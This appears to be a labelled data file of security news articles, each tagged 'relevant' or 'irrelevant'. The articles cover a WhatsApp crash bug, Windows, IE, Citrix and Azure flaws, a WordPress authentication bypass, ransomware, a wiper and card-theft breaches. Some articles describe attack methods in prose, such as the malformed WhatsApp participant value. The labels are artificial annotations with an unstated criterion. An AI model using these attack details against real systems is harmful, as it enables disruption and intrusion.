defeat cybersecurity defenses are undertaken automatically by bots. It is estimated that around 40% of Internet traffic is generated by malicious bots trying to find their way into networks, devices, or online accounts to infect. The cybersecurity solution you choose needs to be designed with bots in mind. It should have essential anti-bot functions such as rate-limiting, signature detection, blacklisting, reCAPTCH, and other strategies that can detect bot activity and stop them in their tracks before they can create any damage. bot protection Image Credits: Reblaze Additionally, it should have tools to counter advanced bot deployment strategies such as JSON payload inspection and other data integrity assurance systems, advanced environmental identification, biometric behavioral programming, and API scheme ingestion. 4.) Artificial Intelligence AI and machine learning are not just about creating interactive robots or virtual entities capable of conversing with humans in a natural way. It can also be applied in fortifying cybersecurity. AI development has significantly advanced that it can be trained to enhance the effectiveness and efficiency of cyber threat detection and prevention. With the help of deep learning algorithms, security systems can be trained to more effectively and rapidly identify potential threats based on data collected from computer users worldwide. At the same time, AI helps minimize the inefficiencies caused by false positives. Be wary of deceptive marketing, though. You may find many security systems that are advertised to have AI or machine learning capabilities, but they may not actually deliver the expected benefits. Go over tech reviews or comments from knowledgeable users first to ascertain that the AI-powered solution you are getting works, especially when it comes to establishing behavioral profiles of users of apps, websites, and API endpoints. 5.) Full Management and Support Lastly, give preference to security solutions that are supplied with full management and support. You may be tech-savvy to some extent, but you may not have enough competence to manage a cybersecurity system with advanced functions. Setting up and administering a security system takes time and can be prone to mistakes, so it's better to let the real experts handle it (remotely). You can just learn how it works (and do it on your own) as you use the system, but don't try to DIY your way around as you try to secure your business or digital assets. Also, inquire about the dependability and competence of the support team of the solution you are considering. Make sure you will not be having support problems later on. Conclusion In summary, the best possible cybersecurity solution to get is one that comes with multiple features to deal with as many types of threats as possible. Notably, it should be equipped with robust monitoring functions, advanced bot management, an AI-backed ability to identify and handle threats and attacks, and competent remote management and support. Not many security solutions provide the aforementioned attributes. However, if you want the best possible protection for your business, you need to examine your options based on the points discussed above prudently. For example, Reblaze. Unlike traditional cybersecurity solutions, Reblaze is a cloud-based, fully managed protective shield for sites and web applications that blocks hostile traffic in the cloud, before it reaches the protected network. Reblaze is a comprehensive web security solution, providing a next-gen WAF, DoS and DDoS protection, bot mitigation, scraping prevention, CDN, load balancing, and more. Reblaze offers a unique combination of benefits, including: Machine learning to provide accurate and adaptive threat detection. Dedicated Virtual Private Clouds to ensure maximum privacy. Top-tier infrastructure to assure maximum performance. Fine-grained ACLs to enable precise traffic regulation. An intuitive web-based management console to provide real-time traffic control.",irrelevant
"This Bug Could Have Let Anyone Crash WhatsApp Of All Group Members WhatsApp, the world's most popular end-to-end encrypted messaging application, patched an incredibly frustrating software bug that could have allowed a malicious group member to crash the messaging app for all members of the same group, The Hacker News learned. Just by sending a maliciously crafted message to a targeted group, an attacker can trigger a fully-destructive WhatsApp crash-loop, forcing all group members to completely uninstall the app, reinstall it, and remove the group to regain normal function. Since the group members can't selectively delete the malicious message without opening the group window and re-triggering the crash-loop, they have to lose the entire group chat history, indefinitely, to get rid of it. Discovered by researchers at Israeli cybersecurity firm Check Point, the latest bug resided in the WhatsApp's implementation of XMPP communication protocol that crashes the app when a member with invalid phone number drops a message in the group. ""When we attempt to send a message where the parameter 'participant' receives a value of 'null,' a 'Null Pointer Exception' is thrown,"" the researchers explain in a report shared with The Hacker News prior to its release. ""The parser for the participant's phone number mishandles the input when an illegal phone number is received. When it receives a phone number with a length, not in the ranger 5-20 or a non-digit character, it would read it as a 'null' string."" To be noted, the issue resided in both, WhatsApp for Android and iOS, but in an interview with The Hacker News, Check Point researcher Roman Zaikin confirmed that the exploit works smoothly against all vulnerable Android users, but sometimes doesn't reproduce on iOS. The attack requires a malicious group member to manipulate other parameters associated with messages in a conversation that is otherwise protected using end-to-end encryption. In order to carry out this attack, an attacker can leverage WhatsApp Web and a web browser debugging tool in combination with an open source WhatsApp manipulation tool that Check Point released last year. The WhatsApp manipulation tool is an extension for Burp Suite penetration testing software that allows users to intercept, decrypt, and re-encrypt their WhatsApp communication using their own encryption keys. As shown in the video demonstration, the researchers used this setup to trigger the crash bug against all members of a group by simply replacing the participant's parameter from the sender's phone number to 'a@s.whatsapp.net,' an invalid non-digit phone number. ""The bug will crash the app, and it will continue to crash even after we reopen WhatsApp, resulting in a crash loop,"" the researchers say. ""Moreover, the user will not be able to return to the group and all the data that was written and shared in the group is now gone for good. The group cannot be restored after the crash has happened and will have to be deleted in order to stop the crash."" WhatsApp Crash Bug It should be noted that the attack would not affect the sender since the malicious message was injected in transit after it left the sender's device. Check Point responsibly reported this crash bug to the WhatsApp security team back in late August this year, and the company patched the issue with the release of WhatsApp version 2.19.58 in mid-September. The WhatsApp developers also ""added new controls to prevent people from being added to unwanted groups to avoid communication with untrusted parties altogether."" ""Because WhatsApp is one of the world's leading communication channels for consumers, businesses and government agencies, the ability to stop people using WhatsApp and delete valuable information from group chats is a powerful weapon for bad actors,"" Oded Vanunu, Check Point's Head of Product Vulnerability Research said. ""WhatsApp greatly values the work of the technology community to help us maintain strong security for our users globally. Thanks to the responsible submission from Check Point to our bug bounty program, we quickly resolved this issue for all WhatsApp apps in mid September,"" WhatsApp Software Engineer Ehren Kret told The Hacker News. WhatsApp users are highly recommended to always keep their apps up-to-date in order to protect themselves against known attacks.",relevant
"Latest Microsoft Update Patches New Windows 0-Day Under Active Attack With its latest and last Patch Tuesday for 2019, Microsoft is warning billions of its users of a new Windows zero-day vulnerability that attackers are actively exploiting in the wild in combination with a Chrome exploit to take remote control over vulnerable computers. Microsoft's December security updates include patches for a total of 36 vulnerabilities, where 7 are critical, 27 important, 1 moderate, and one is low in severity—brief information on which you can find later in this article. Tracked as CVE-2019-1458 and rated as Important, the newly patched zero-day Win32k privilege escalation vulnerability, reported by Kaspersky, was used in Operation WizardOpium attacks to gain higher privileges on targeted systems by escaping the Chrome sandbox. Although Google addressed the flaw in Chrome 78.0.3904.87 with the release of an emergency update last month after Kaspersky disclosed it to the tech giant, hackers are still targeting users who are using vulnerable versions of the browser. As The Hacker News reported last month, Operation WizardOpium involved a compromised Korean-language news portal where attackers secretly planted a then-zero-day Chrome exploit to hack computers of its visitors. According to Kaspersky researchers, the Chrome use-after-free exploit was chained together with the newly patched EoP flaw that exists in the way the Win32k component in Windows OS handles objects in memory. Chrome use-after-free exploit The EoP exploit works on ""the latest versions of Windows 7 and even on a few builds of Windows 10"" and, if successfully exploited, could allow an attacker to run arbitrary code in kernel mode. While the researchers were not able to attribute the Operation WizardOpium attacks to any specific group of hackers, they found some similarities in the exploit code with the infamous Lazarus hacking group. Microsoft Patch Tuesday: December 2019 The 7 critical security vulnerabilities Microsoft patched this month affect Git for Visual Studio, Hyper-V Hypervisor, and Win32k Graphics component of Windows, successful exploitation of all lead to remote code execution attacks. The Windows Hyper-V vulnerability (CVE-2019-1471) enables a guest virtual machine to compromise the hypervisor, escaping from a guest virtual machine to the host, or escaping from one guest virtual machine to another guest virtual machine. Git for Visual Studio contains five critical remote code execution vulnerabilities—all reside due to the way Git for Visual Studio sanitizes input—successful exploitation of which requires attackers to convince a targeted user to clone a malicious repo. Another notable vulnerability, tracked as CVE-2019-1462 and rated as important, resides in the PowerPoint software that can be exploited to run arbitrary code on a targeted computer by merely convincing the victim into opening a specially crafted presentation file. This vulnerability affects Microsoft PowerPoint 2010, 2013, and 2016 as well as Microsoft Office 2016 and 2019 for Windows and Apple's macOS operating systems. Other vulnerabilities patched by Microsoft this month and marked as important reside in the following Microsoft products and services: Windows Operating System Windows Kernel Windows Remote Desktop Protocol (RDP) Microsoft Word Microsoft Excel Microsoft SQL Server Reporting Services Microsoft Access software Windows GDI component Win32k Windows Hyper-V Windows Printer Service Windows COM Server Windows Media Player Windows OLE VBScript Visual Studio Live Share Microsoft Authentication Library for Android Microsoft Defender Skype for Business and Lync Git for Visual Studio Most of these vulnerabilities allow information disclosure and elevation of privilege, and some also lead to remote code execution attacks, while others allow cross-site scripting (XSS), security feature bypass, spoofing, tampering, and denial of service attacks. Windows users and system administrators are highly advised to apply the latest security patches as soon as possible in an attempt to keep cybercriminals and hackers away from taking control of their computers. For installing the latest Windows security updates, you can head on to Settings → Update & Security → Windows Update → Check for updates on your PC, or you can install the updates manually.",relevant
"Flaw in Elementor and Beaver Addons Let Anyone Hack WordPress Sites Attention WordPress users! Your website could easily get hacked if you are using ""Ultimate Addons for Beaver Builder,"" or ""Ultimate Addons for Elementor"" and haven't recently updated them to the latest available versions. Security researchers have discovered a critical yet easy-to-exploit authentication bypass vulnerability in both widely-used premium WordPress plugins that could allow remote attackers to gain administrative access to sites without requiring any password. What's more worrisome is that opportunistic attackers have already started exploiting this vulnerability in the wild within 2 days of its discovery in order to compromise vulnerable WordPress websites and install a malicious backdoor for later access. Both vulnerable plugins, made by software development company Brainstorm Force, are currently powering over hundreds of thousands of WordPress websites using Elementor and Beaver Builder frameworks, helping website admins and designers extend the functionality of their websites with more widgets, modules, page templates. Discovered by researchers at web security service MalCare, the vulnerability resides in the way both plugins let WordPress account holders, including administrators, authenticate via Facebook and Google login mechanisms. wordpress website login protection Image credit: WebARX According to the vulnerability's advisory, due to lack of checks in the authentication method when a user login via Facebook or Google, vulnerable plugins can be tricked into allowing malicious users to login as any other targeted user without requiring any password. ""However, the Facebook and Google authentication methods did not verify the token returned by Facebook and Google, and since they don't require a password, there was no password check,"" explained WebARX researchers, who also analysed the flaw and confirmed its active exploitation. ""To exploit the vulnerability, the hacker needs to use the email ID of an admin user of the site. In most cases, this information can be retrieved fairly easily,"" MalCare said. In an email to The Hacker News, WebARX confirmed that attackers are abusing this flaw to install a fake SEO stats plugin after uploading a tmp.zip file on the targeted WordPress server, which eventually drops a wp-xmlrpc.php backdoor file to the root directory of the vulnerable site. MalCare discovered this vulnerability on Wednesday that affects below-listed versions of the plugins and reported it to the developers on the same day, who then quickly addressed the issue and released patched versions of both within just 7 hours. Ultimate Addons for Elementor <= 1.20.0 Ultimate Addons for Beaver Builder <= 1.24.0 The authentication bypass vulnerability has been patched with the release of ""Ultimate Addons for Elementor version 1.20.1"" and ""Ultimate Addons for Beaver Builder version 1.24.1,"" which affected websites are highly recommended to install as soon as possible.",relevant
"New Zeppelin Ransomware Targeting Tech and Health Companies A new variant of Vega ransomware family, dubbed Zeppelin, has recently been spotted in the wild targeting technology and healthcare companies across Europe, the United States, and Canada. However, if you reside in Russia or some other ex-USSR countries like Ukraine, Belorussia, and Kazakhstan, breathe a sigh of relief, as the ransomware terminates its operations if found itself on machines located in these regions. It's notable and interesting because all previous variants of the Vega family, also known as VegaLocker, were primarily targeting Russian speaking users, which indicates Zeppelin is not the work of the same hacking group behind the previous attacks. Since Vega ransomware and its previous variants were offered as a service on underground forums, researchers at BlackBerry Cylance believes either Zeppelin ""ended up in the hands of different threat actors"" or ""redeveloped from bought/stolen/leaked sources."" According to a report BlackBerry Cylance shared with The Hacker News, Zeppelin is a Delphi-based highly-configurable ransomware that can easily be customized to enable or disable various features, depending upon victims or requirements of attackers. Zeppelin can be deployed as an EXE, DLL, or wrapped in a PowerShell loader and includes the following features: IP Logger — to track the IP addresses and location of victims Startup — to gain persistence Delete backups — to stop certain services, disable the recovery of files, delete backups and shadow copies, etc. Task-killer — kill attacker-specified processes Auto-unlock — to unlock files that appear locked during encryption Melt — to inject self-deletion thread to notepad.exe UAC prompt — try running the ransomware with elevated privileges Based on the configurations attackers set from the Zeppelin builder user-interface during the generation of the ransomware binary, the malware enumerates files on all drives and network shares and encrypts them with the same algorithm as used by the other Vega variants. Zeppelin Ransomware ""[Zeppelin] employs a standard combination of symmetric file encryption with randomly generated keys for each file (AES-256 in CBC mode), and asymmetric encryption used to protect the session key (using a custom RSA implementation, possibly developed in-house),"" the researchers explain. ""Interestingly, some of the samples will encrypt only the first 0x1000 bytes (4KB), instead of 0x10000 (65KB). It might be either an unintended bug or a conscious choice to speed up the encryption process while rendering most files unusable anyway."" Besides what features to be enabled and what files to be encrypted, the Zeppelin builder also allows attackers to configure the content of the ransom note text file, which it drops on the system and displays to the victim after encrypting the files. ""BlackBerry Cylance researchers have uncovered several different versions, ranging from short, generic messages to more elaborate ransom notes tailored to individual organizations,"" the researchers say. ""All the messages instruct the victim to contact the attacker via a provided email addresses and quote their personal ID number."" To evade detection, Zeppelin ransomware relies on multiple layers of obfuscation, including the use of pseudo-random keys, encrypted string, using code of varying sizes, as well as delays in execution to outrun sandboxes and deceive heuristic mechanisms. Zeppelin was first discovered almost a month ago when it was distributed through water-holed websites with its PowerShell payloads hosted on the Pastebin website. Researchers believe that at least some of the Zeppelin attacks were ""conducted through MSSPs, which would bear similarities to another recent highly targeted campaign that used ransomware called Sodinokibi,"" also known as Sodin or REvil. The researchers have also shared indicators of compromise (IoC) in its blog post. At the time of writing, almost 30 percent of antivirus solutions are not able to detect this particular ransomware threat.",irrelevant
"ZeroCleare: New Iranian Data Wiper Malware Targeting Energy Sector Cybersecurity researchers have uncovered a new, previously undiscovered destructive data-wiping malware that is being used by state-sponsored hackers in the wild to target energy and industrial organizations in the Middle East. Dubbed ZeroCleare, the data wiper malware has been linked to not one but two Iranian state-sponsored hacking groups—APT34, also known as ITG13 and Oilrig, and Hive0081, also known as xHunt. A team of researchers at IBM who discovered the ZeroCleare malware says that the new wiper malware shares some high-level similarities with the infamous Shamoon, one of the most destructive malware families known for damaging 30,000 computers at Saudi Arabia's largest oil producer in 2012. Just like the Shamoon wiper malware, ZeroCleare also uses a legitimate hard disk driver called 'RawDisk by ElDos' to overwrite the master boot record (MBR) and disk partitions of targeted computers running the Windows operating system. Though EldoS driver is not signed, the malware still manages to run it by loading a vulnerable but signed Oracle's VirtualBox driver, exploiting it to bypass the signature checking mechanism and load the unsigned EldoS driver. ""To gain access to the device's core, ZeroCleare used an intentionally vulnerable [but signed VBoxDrv] driver and malicious PowerShell/Batch scripts to bypass Windows controls,"" the researchers said. Iranian Data Wiper Malware To deploy the Zerocleare malware on as many computers in an organization as possible, attackers' first attempt to brute force network accounts passwords and then install ASPX web shells, like China Chopper and Tunna, by exploiting a SharePoint vulnerability. ""Adding these living-off-the-land tactics to the scheme, ZeroCleare was spread to numerous devices on the affected network, sowing the seeds of a destructive attack that could affect thousands of devices and cause disruption that could take months to recover from fully,"" the researchers said. The same threat actors also attempted to install legitimate remote access software called TeamViewer and used an obfuscated version of the Mimikatz credential-stealing tool to steal more network credentials of the compromised servers. Though researchers haven't disclosed names of any targeted organizations, they did confirm that there are two versions of Zerocleare that have been seen in the wild, one for each Windows architecture (32-bit and 64-bit), but only the 64-bit works. According to the researchers, the ZeroCleare attacks are not opportunistic and appear to be targeted operations against specific sectors and organizations. ""X-Force IRIS has been following a marked increase in destructive attacks in the past year, having logged a whopping 200 percent increase in the amount of destructive attacks in the past six months,"" the researchers said. ""Looking at the geographical region hit by the ZeroCleare malware, it is not the first time the Middle East has seen destructive attacks target its energy sector.""",irrelevant
"Citrix Releases Patches for Critical ADC Vulnerability Under Active Attack Citrix has finally started rolling out security patches for a critical vulnerability in ADC and Gateway software that attackers started exploiting in the wild earlier this month after the company announced the existence of the issue without releasing any permanent fix. I wish I could say, ""better late than never,"" but since hackers don't waste time or miss any opportunity to exploit vulnerable systems, even a short window of time resulted in the compromise of hundreds of Internet exposed Citrix ADC and Gateway systems. As explained earlier on The Hacker News, the vulnerability, tracked as CVE-2019-19781, is a path traversal issue that could allow unauthenticated remote attackers to execute arbitrary code on several versions of Citrix ADC and Gateway products, as well as on the two older versions of Citrix SD-WAN WANOP. Rated critical with CVSS v3.1 base score 9.8, the issue was discovered by Mikhail Klyuchnikov, a security researcher at Positive Technologies, who responsibly reported it to Citrix in early December. The vulnerability is actively being exploited in the wild since last week by dozens of hacking groups and individual attackers—thanks to the public release of multiple proofs-of-concept exploit code. According to cyber security experts, as of today, there are over 15,000 publicly accessible vulnerable Citrix ADC and Gateway servers that attackers can exploit overnight to target potential enterprise networks. FireEye experts found an attack campaign where someone was compromising vulnerable Citrix ADCs to install a previously-unseen payload, dubbed ""NotRobin,"" that scans systems for cryptominers and malware deployed by other potential attackers and removes them to maintain exclusive backdoor access. ""This actor exploits NetScaler devices using CVE-2019-19781 to execute shell commands on the compromised device,"" FireEye said. ""FireEye believes that the actor behind NOTROBIN has been opportunistically compromising NetScaler devices, possibly to prepare for an upcoming campaign. They remove other known malware, potentially to avoid detection by administrators."" Citrix Patch Timeline: Stay Tuned for More Software Updates! Last week Citrix announced a timeline, promising to release patched firmware updates for all supported versions of ADC and Gateway software before the end of January 2020, as shown in the chart. Citrix ADC and Gateway Software As part of its first batch of updates, Citrix today released permanent patches for ADC versions 11.1 and 12.0 that also apply to ""ADC and Gateway VPX hosted on ESX, Hyper-V, KVM, XenServer, Azure, AWS, GCP or on a Citrix ADC Service Delivery Appliance (SDX)."" ""It is necessary to upgrade all Citrix ADC and Citrix Gateway 11.1 instances (MPX or VPX) to build 11.1.63.15 to install the security vulnerability fixes. It is necessary to upgrade all Citrix ADC and Citrix Gateway 12.0 instances (MPX or VPX) to build 12.0.63.13 to install the security vulnerability fixes,"" Citrix said in its advisory. ""We urge customers to install these fixes immediately,"" the company said. ""If you have not already done so, you need to apply the previously supplied mitigation to ADC versions 12.1, 13, 10.5, and SD-WAN WANOP versions 10.2.6 and 11.0.3 until the fixes for those versions are available."" The company also warned that customers with multiple ADC versions in production must apply the correct version of patch to each system separately. Besides installing available patches for supported versions and applying the recommended mitigation for unpatched systems, Citrix ADC administrators are also advised to monitor their device logs for attacks. UPDATE — Citrix on Thursday also released second batch of permanent security patches for critical RCE vulnerability affecting ADC and Gateway versions 12.1 and 13.0.",relevant
"Download: The State of Security Breach Protection 2020 Survey Results What are the key considerations security decision-makers should take into account when designing their 2020 breach protection? To answer this, we polled 1,536 cybersecurity professionals in The State of Breach Protection 2020 survey (Download the full survey here) to understand the common practices, prioritization, and preferences of the organization today in protecting themselves from breaches. Security executives face significant challenges when confronting the evolving threat landscape. For example: What type of attacks pose the greatest risk, and what security products would best address them? Is it better to build a strong team in-house, outsource the entire security operation, or search for a sweet spot between the two? What type and level of automation should be introduced into the breach protection workflows? The State of Breach Protection 2020 survey provides insights into these questions and others. Here are a few of the insights the survey unveils: 1) Lack of consolidation is a protection inhibitor — Organizations that currently deploy advanced security products report that maintaining a multi-product security stack (especially in advanced security product groups) is the main obstacle in reaching the desired protection. State of Breach Protection 2020 2) Most organizations are prioritizing advanced protection projects in 2020 — The majority of organizations that currently deploy a basic security stack of AV, firewall, and email protection plan to add EDR/EPP, Network Traffic Analysis, or SIEM and are planning to do so in 2020. data breach protection 3) Deployment is the Achilles heel of endpoint protection — Only a small portion of organizations reported on deploying EDR/EPP on more than 85% of their endpoints with no deployment or maintenance issues. Because in many cases, EPP/EDR is regarded as the main mean against advanced attacks, this is an alarming figure. 4) Advanced threat protection still involves a high volume of attended alerts — All organizations that deploy SIEM, EDR/EPP, Network Traffic Analysis, UEBA, or Deception products state that over 25% percent of alerts are left unattended on a daily basis. 5) Response orchestration beats automation — While a significant number of the organizations we polled orchestrate their IR operations from a centralized interface, only a small portion introduce automation to their remediation workflows. 6) Organizations have mixed feelings regarding security outsourcing — While the security skills gap compels organizations to outsource the more advanced portion of their security operations, there is still a strong inclination to keep things in-house, especially in regard to active attack remediation in their environment. The State of Breach Protection 2020 survey crowdsources the wisdom of numerous security professionals and decision-makers, enabling CISOs to make better informed and data-driven decisions, by zooming out to see the wide perspective of breach protection's best practices and major trends. Download The State of Breach Protection 2020 survey report here.",irrelevant
"Microsoft Warns of Unpatched IE Browser Zero-Day That's Under Active Attacks Internet Explorer is dead, but not the mess it left behind. Microsoft earlier today issued an emergency security advisory warning millions of Windows users of a new zero-day vulnerability in Internet Explorer (IE) browser that attackers are actively exploiting in the wild — and there is no patch yet available for it. The vulnerability, tracked as CVE-2020-0674 and rated moderated, is a remote code execution issue that exists in the way the scripting engine handles objects in memory of Internet Explorer and triggers through JScript.dll library. A remote attacker can execute arbitrary code on targeted computers and take full control over them just by convincing victims into opening a maliciously crafted web page on the vulnerable Microsoft browser. ""The vulnerability could corrupt memory in such a way that an attacker could execute arbitrary code in the context of the current user. An attacker who successfully exploited the vulnerability could gain the same user rights as the current user,"" the advisory says. ""If the current user is logged on with administrative user rights, an attacker who successfully exploited the vulnerability could take control of an affected system. An attacker could then install programs; view, change, or delete data; or create new accounts with full user rights."" Microsoft is aware of 'limited targeted attacks' in the wild and working on a fix, but until a patch is released, affected users have been provided with workarounds and mitigation to prevent their vulnerable systems from cyberattacks. The affected web browsing software includes — Internet Explorer 9, Internet Explorer 10, and Internet Explorer 11 running on all versions of Windows 10, Windows 8.1, and the recently-discontinued Windows 7. Workarounds: Defend Against Attacks Until A Patch Arrives According to the advisory, preventing the loading of the JScript.dll library can manually block the exploitation of this vulnerability. To restrict access to JScript.dll, run following commands on your Windows system with administrator privileges. For 32-bit systems: takeown / f% windir% \ system32 \ jscript.dll cacls% windir% \ system32 \ jscript.dll / E / P everyone: N For 64-bit systems: takeown / f% windir% \ syswow64 \ jscript.dll cacls% windir% \ syswow64 \ jscript.dll / E / P everyone: N takeown / f% windir% \ system32 \ jscript.dll cacls% windir% \ system32 \ jscript.dll / E / P everyone: N When a patch update is available, users need to undo the workaround using the following commands: For 32-bit systems: cacls %windir%\system32\jscript.dll /E /R everyone For 64-bit systems: cacls %windir%\system32\jscript.dll /E /R everyone cacls %windir%\syswow64\jscript.dll /E /R everyone To be noted, some websites or features may break after disabling the vulnerable JScript.dll library that relies on this component, therefore, users should install updates as soon as they become available.",relevant
"Landry's Restaurant Chain Suffers Payment Card Theft Via PoS Malware Landry's, a popular restaurant chain in the United States, has announced a malware attack on its point of sale (POS) systems that allowed cybercriminals to steal customers' payment card information. Landry's owns and operates more than 600 bars, restaurants, hotels, casinos, food and beverage outlets with over 60 different brands such as Landry's Seafood, Chart House, Saltgrass Steak House, Claim Jumper, Morton's The Steakhouse, Mastro's Restaurants, and Rainforest Cafe. According to the breach notification published this week, the malware was designed to search for and likely steal sensitive customer credit card data, including credit card numbers, expiration dates, verification codes and, in some cases, cardholder names. The PoS malware infected point-of-sale terminals at all Landry's owned locations, but, fortunately, due to end-to-end encryption technology used by the company, attackers failed to steal payment card data from cards swiped at its restaurants. However, Landry's outlets also use ""order-entry systems with a card reader attached for waitstaff to enter kitchen and bar orders and to swipe Landry's Select Club reward cards,"" which allowed attackers to successfully steal customers' payment data ""in rare circumstances"" when waitstaff mistakenly swiped payment cards on them. landry pos malware attack The restaurant chain did not speculate how many customers may have been affected, but it is ""notifying customers"" that ""in rare circumstances, appear to have been mistakenly swiped by waitstaff on devices used to enter kitchen and bar orders, which are different devices than the point-of-sale terminals used for payment processing,"" the breach notification says. ""The malware searched for track data (which sometimes has the cardholder name in addition to card number, expiration date, and internal verification code) read from a payment card after it was swiped on the order-entry systems. In some instances, the malware only identified the part of the magnetic stripe that contained payment card information without the cardholder name."" According to the company, the POS malware was actively scanning their systems between 13th March 2019 and 17th October 2019 for swipe cards; and at some locations, it may have been installed as early as 18th January 2019. ""During the investigation, we removed the malware and implemented enhanced security measures, and we are providing additional training to waitstaff."" So, if you have used your debit or credit card at any of the above listed outlet last year, you are advised to stay vigilant, monitor your payment card statements for any suspicious activity and immediately report it to your bank and local law enforcement, if found.",irrelevant
"Microsoft Azure Flaws Could Have Let Hackers Take Over Cloud Servers Cybersecurity researchers at Check Point today disclosed details of two recently patched potentially dangerous vulnerabilities in Microsoft Azure services that, if exploited, could have allowed hackers to target several businesses that run their web and mobile apps on Azure. Azure App Service is a fully-managed integrated service that enables users to create web and mobile apps for any platform or device, and easily integrate them with SaaS solutions, on-premises apps to automate business processes. According to a report researchers shared with The Hacker News, the first security vulnerability (CVE-2019-1234) is a request spoofing issue that affected Azure Stack, a hybrid cloud computing software solution by Microsoft. If exploited, the issue would have enabled a remote hacker to unauthorizedly access screenshots and sensitive information of any virtual machine running on Azure infrastructure—it doesn't matter if they're running on a shared, dedicated or isolated virtual machines. According to researchers, this flaw is exploitable through Microsoft Azure Stack Portal, an interface where users can access clouds they have created using Azure Stack. By leveraging an insure API, researchers found a way to get the virtual machine name and ID, hardware information like cores, total memory of targeted machines, and then used it with another unauthenticated HTTP request to grab screenshots, as shown. microsoft azure screenshots Whereas, the second issue (CVE-2019-1372) is a remote code execution flaw that affected the Azure App Service on Azure Stack, which would have enabled a hacker to take complete control over the entire Azure server and consequently take control over an enterprises' business code. What's more interesting is that an attacker can exploit both issues by creating a free user account with Azure Cloud and running malicious functions on it or sending unauthenticated HTTP requests to the Azure Stack user portal. Check Point published a detailed technical post on the second flaw, but in brief, it resided in the way DWASSVC, a service responsible for managing and running tenants' apps and IIS worker processes, which actually run the tenant application, communicate with each other for defined tasks. Since Azure Stack failed to check the length of a buffer before copying memory to it, an attacker could have exploited the issue by sending a specially crafted message to DWASSVC service, allowing it to execute malicious code on the server as the highest NT AUTHORITY/SYSTEM privilege. ""So how can an attacker send a message to DWASSVC (DWASInterop.dll)? By design, when running the C# Azure function, it runs in the context of the worker (w3wp.exe),"" the researchers said. ""This lets an attacker the possibility to enumerate the currently opened handles. That way, he can find the already opened named pipe handle and send a specially crafted message."" Check Point researcher Ronen Shustin, who discovered both vulnerabilities, responsibly reported the issues to Microsoft last year, preventing hackers from causing severe damage and chaos. After patching both issues late last year, the company awarded Shustin with 40,000 USD under its Azure bug bounty program.",relevant
"250 Million Microsoft Customer Support Records Exposed Online If you have ever contacted Microsoft for support in the past 14 years, your technical query, along with some personally identifiable information might have been compromised. Microsoft today admitted a security incident that exposed nearly 250 million ""Customer Service and Support"" (CSS) records on the Internet due to a misconfigured server containing logs of conversations between its support team and customers. According to Bob Diachenko, a cybersecurity researcher who spotted the unprotected database and reported to Microsoft, the logs contained records spanning from 2005 right through to December 2019. In a blog post, Microsoft confirmed that due to misconfigured security rules added to the server in question on December 5, 2019, enabled exposure of the data, which remained the same until engineers remediated the configuration on December 31, 2019. Microsoft also said that the database was redacted using automated tools to remove the personally identifiable information of most customers, except in some scenarios where the information was not the standard format. ""Our investigation confirmed that the vast majority of records were cleared of personal information in accordance with our standard practices,"" Microsoft said. However, according to Diachenko, many records in the leaked database contained readable data on customers, including their: email addresses, IP addresses, Locations, Descriptions of CSS claims and cases, Microsoft support agent emails, Case numbers, resolutions, and remarks, Internal notes marked as ""confidential."" ""This issue was specific to an internal database used for support case analytics and does not represent an exposure of our commercial cloud services,"" Microsoft said. By having real sensitive case information and email addresses of affected customers in hand, the leaked data could be abused by tech-support scammers to trick users into paying for non-existent computer problems by impersonating Microsoft support representatives. ""The absence of Personally Identifiable Information in the dump is irrelevant here, given that technical support logs frequently expose VIP clients, their internal systems and network configurations, and even passwords. The data is a gold mine for patient criminals aiming to breach large organizations and governments,"" COO of ImmuniWeb Ekaterina Khrustaleva told The Hacker News. ""Worse, many large companies and not only Microsoft have lost visibility of their external attack surface, exposing their clients and partners to significant risks. We will likely see a multitude of similar incidents in 2020."" KnowBe4's Data-Driven Defense Evangelist Roger Grimes also shared his comment and experience with The Hacker News, saying: ""Having worked for Microsoft for 15 years, 11 years as a full-time employee, I've seen firsthand how much they try to fight scenarios like this. There are multiple layers of controls and education designed to stop it from happening. And it shows you how hard it is to prevent it 100% of the time. Nothing is perfect. Mistakes and leaks happen. Every organization has overly permissive permissions. Every! It's just a matter of if someone outside the organization discovers it or if someone takes advantage of it."" ""In this case, as bad as it is, it was discovered by someone who didn't do malicious things with it. Sure, the data, sitting unprotected, could have also been used by the bad guys, but so far, no one has made that case or provided evidence that it has been used maliciously,"" Grimes added. ""Anyone can have a mistake. The most important question is how the mistake happened and how to prevent it from happening next time, and if any others could have happened from the same set of circumstances."" As a result of this incident, the company said it began notifying impacted customers whose data was present in the exposed Customer Service and Support database.",irrelevant
"Wawa Breach: Hackers Put 30 Million Stolen Payment Card Details for Sale Remember the recent payment card breach at Wawa convenience stores? If you're among those millions of customers who shopped at any of 850 Wawa stores last year but haven't yet hotlisted your cards, it's high time to take immediate action. That's because hackers have finally put up payment card details of more than 30 million Wawa breach victims on sale at Joker's Stash, one of the largest dark web marketplaces where cybercriminals buy and sell stolen payment card data. As The Hacker News reported last month, on 10th December Wawa learned that its point-of-sale servers had malware installed since March 2019, which stole payment details of its customers from potentially all Wawa locations. At that time, the company said it's not aware of how many customers may have been affected in the nine-month-long breach or of any unauthorized use of payment card information as a result of the incident. Now it turns out that the Wawa breach marked itself in the list of largest credit card breaches ever happened in the history of the United States, potentially exposing 30 million sets of payment records. wawa credit card data breach According to threat intelligence firm Gemini Advisory, on 27th January 2020, hackers started uploading stolen payment card data from Wawa at Joker's Stash marketplace, titled as 'BIGBADABOOM-III,' which reportedly includes card numbers, expiration dates, and cardholder names. ""While the majority of those records were from US banks and were linked to US-based cardholders, some records also linked to cardholders from Latin America, Europe, and several Asian countries,"" Gemini Advisory said. ""Non-US-based cardholders likely fell victim to this breach when traveling to the United States and transacting with Wawa gas stations during the period of exposure."" ""The median price of US-issued records from this breach is currently $17, with some of the international records priced as high as $210 per card."" In the latest statement released yesterday, Wawa confirmed that the company is aware of reports of criminal attempts to sell customers' payment card data and to help further protect its customers, the company has 'alerted payment card processors, payment card brands and card issuers to heighten fraud monitoring activities.' ""We continue to encourage our customers to remain vigilant in reviewing charges on their payment card statements and to promptly report any unauthorized use to the bank or financial institution that issued their payment card by calling the number on the back of the card,"" Wawa said. Customers who bought anything from any of the Wawa convenience stores between March and December last year are advised to block the affected cards and request a new one from your respective financial institution.",irrelevant
